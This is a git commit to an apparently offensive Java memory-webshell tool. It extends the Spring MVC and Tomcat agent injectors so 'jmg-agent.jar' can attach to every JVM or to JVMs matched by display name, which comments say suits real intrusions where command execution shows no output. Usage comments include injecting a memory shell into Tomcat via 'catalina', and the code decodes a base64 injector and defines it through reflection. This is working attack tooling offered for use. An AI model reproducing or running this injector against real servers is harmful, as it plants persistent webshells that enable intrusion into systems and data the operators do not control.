优化 java agent 马参数选项,贴合实战场景(命令执行无回显)

This commit is contained in:
pen4uin
2024-07-20 14:58:28 +08:00
parent b422a60ee1
commit 6e667fb9ac
2 changed files with 111 additions and 19 deletions
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List; import java.util.List;
public class SpringMVCAgentTransformer implements ClassFileTransformer { public class SpringMVCAgentTransformer implements ClassFileTransformer {
@@ -59,7 +60,7 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
" } catch (Throwable e) {\n" + " } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + " byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" + " }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
@@ -132,22 +133,45 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
} }
/*
参数说明见 TomcatAgentTransformer
*/
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
String jvmProcessId = null;
if (args.length == 0) { if (args.length == 0) {
// 列出所有 pid
listAllJvmPids(); listAllJvmPids();
} else { }
try { else if (args.length == 1) {
Integer.parseInt(args[0]); String arg = args[0];
jvmProcessId = args[0]; if (arg.equalsIgnoreCase("all")) {
attachAgentToTargetJvm(jvmProcessId); for (String jvmProcessId : getAllJvmPids()) {
} catch (NumberFormatException e) { attachAgentToTargetJvm(jvmProcessId);
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); }
} }
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
}
catch (NumberFormatException e) {
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
} }
} }
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
}
public static void listAllJvmPids() throws Exception { public static void listAllJvmPids() throws Exception {
for (Object vm : vms) { for (Object vm : vms) {
@@ -159,6 +183,23 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
} }
} }
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception { private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath); infoLog("Current agent path: " + agentFilePath);
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List; import java.util.List;
public class TomcatAgentTransformer implements ClassFileTransformer { public class TomcatAgentTransformer implements ClassFileTransformer {
@@ -136,22 +137,55 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
} }
/*
使用方法:
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
*/
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
String jvmProcessId = null; // 无参数 - 列出所有 JVM 进程 ID
if (args.length == 0) { if (args.length == 0) {
// 列出所有 pid
listAllJvmPids(); listAllJvmPids();
} else { } else if (args.length == 1) {
try { String arg = args[0];
Integer.parseInt(args[0]); // "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
jvmProcessId = args[0]; if (arg.equalsIgnoreCase("all")) {
attachAgentToTargetJvm(jvmProcessId); for (String jvmProcessId : getAllJvmPids()) {
} catch (NumberFormatException e) { attachAgentToTargetJvm(jvmProcessId);
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); }
} }
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
} catch (NumberFormatException e) {
/*
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
HOW tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
*/
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
} }
} }
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
}
public static void listAllJvmPids() throws Exception { public static void listAllJvmPids() throws Exception {
for (Object vm : vms) { for (Object vm : vms) {
@@ -163,6 +197,23 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
} }
} }
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception { private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath); infoLog("Current agent path: " + agentFilePath);